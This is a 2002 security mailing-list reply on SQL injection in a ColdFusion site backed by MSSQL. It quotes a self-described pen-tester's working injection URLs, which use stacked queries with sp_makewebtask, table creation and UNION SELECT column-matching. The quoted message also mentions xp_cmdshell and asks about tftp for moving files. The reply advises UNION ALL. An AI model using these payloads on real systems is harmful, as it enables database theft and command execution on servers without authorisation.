Re: SQL INJECTION IN Coldfusion

From: Cesar (cesarc56at_private)
Date: Fri Sep 13 2002 - 19:04:37 PDT

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    Hi.
    You must use UNION ALL  to get all the rows.
    
    For new techniques take a look a this paper:
    
    Manipulating MS Sql Server using sql injection.
    http://www.appsecinc.com/news/briefing.html#inject
    
    Cesar.
    
    --- Mr Ro <vnmrroat_private> wrote:
    > hello pen-tester,
    > I am dealing with a pen-test agains a CFM server
    > with
    > MSSQL as backend. It is vulnerable with direct SQL
    > injection.
    > I figure out that I can create,drop...table, execute
    > xp_cmdshell, sp_makewebtask, so i submit:
    > submit:
    > http://mysite/file.cfm?id=4546;exec sp_makewebtask
    > "C:\winnt\temp\blah.htm","select * from
    > master..sysmessages"--
    > it's okay, and I want to get
    > "C:\winnt\temp\blah.htm".
    > I submit:
    > http://mysite/file.cfm?id=4567;create table blah
    > (line
    > varchar(8000))--
    > and then, I submit:
    > http://mysite/file.cfm?id=4567 UNION SELECT line
    > from
    > mrro--
    > it returns an error complain that "All queries in an
    > SQL statement containing a UNION operator must have
    > an
    > equal number of expressions in their target lists."
    > so
    > I keep adding "line" in my request url
    > (http://mysite/file.cfm?id=4567 UNION SELECT
    > line,line,line from mrro--), finally it returns an
    > error message like this:
    > "[Microsoft][ODBC SQL Server Driver][SQL Server]The
    > text, ntext, or image data type cannot be selected
    > as
    > DISTINCT."
    > question here: who can explain me what happened ? 
    > 
    > I know there is another way to download or upload
    > files using "tftp", so is there any free "tftp"
    > server
    > for me to use instead of installing a new one ? 
    > thank for reading.
    > best regards
    > mrro
    > 
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